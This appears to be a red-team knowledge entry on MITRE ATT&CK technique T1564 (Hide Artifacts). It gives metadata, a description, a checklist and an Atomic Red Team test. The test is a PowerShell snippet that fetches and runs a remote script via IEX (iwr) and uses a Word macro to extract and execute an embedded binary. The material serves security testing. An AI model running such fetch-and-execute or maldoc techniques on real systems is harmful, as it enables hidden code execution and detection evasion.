t1564-hide-artifacts

name	T1564_hide-artifacts
description	Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.
category	configuration
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1564","defense-evasion","linux","office-suite","windows","macos","esxi"]
technique_id	T1564
tactic	defense-evasion
all_tactics	["defense-evasion"]
platforms	["Linux","Office Suite","Windows","macOS","ESXi"]
mitre_url	https://attack.mitre.org/techniques/T1564
tech_stack	["linux","office","windows","macos","esxi"]
cwe_ids	["CWE-693"]
chains_with	["T1564.001","T1564.002","T1564.003","T1564.004","T1564.005","T1564.006","T1564.007","T1564.008","T1564.009","T1564.010","T1564.011","T1564.012","T1564.013","T1564.014"]
prerequisites	[]
severity_boost	{"T1564.001":"Chain with T1564.001 for deeper attack path","T1564.002":"Chain with T1564.002 for deeper attack path","T1564.003":"Chain with T1564.003 for deeper attack path"}

T1564 Hide Artifacts

High-Level Description

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.

Kill Chain Phase

• Defense Evasion (TA0005)

Platforms: Linux, Office Suite, Windows, macOS, ESXi

What to Check

• Identify if Hide Artifacts technique is applicable to target environment
• Check Linux systems for indicators of Hide Artifacts
• Check Office Suite systems for indicators of Hide Artifacts
• Check Windows systems for indicators of Hide Artifacts
• Verify mitigations are bypassed or absent (4 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Extract binary files via VBA

This module extracts a binary (calc.exe) from inside of another binary.

In the wild maldoc authors will use this technique to hide binaries inside of files stored within the office document itself. An example of this technique can be seen in sample

f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2 is the same document without all the malicious code. Document 1 will copy Document 2 to the file system and then "peek" inside of this document and pull out the oleObject.bin file. Contained inside of this oleObject.bin file is a payload that is parsed out and executed on the file system.

Supported Platforms: windows

$macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt")
$macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap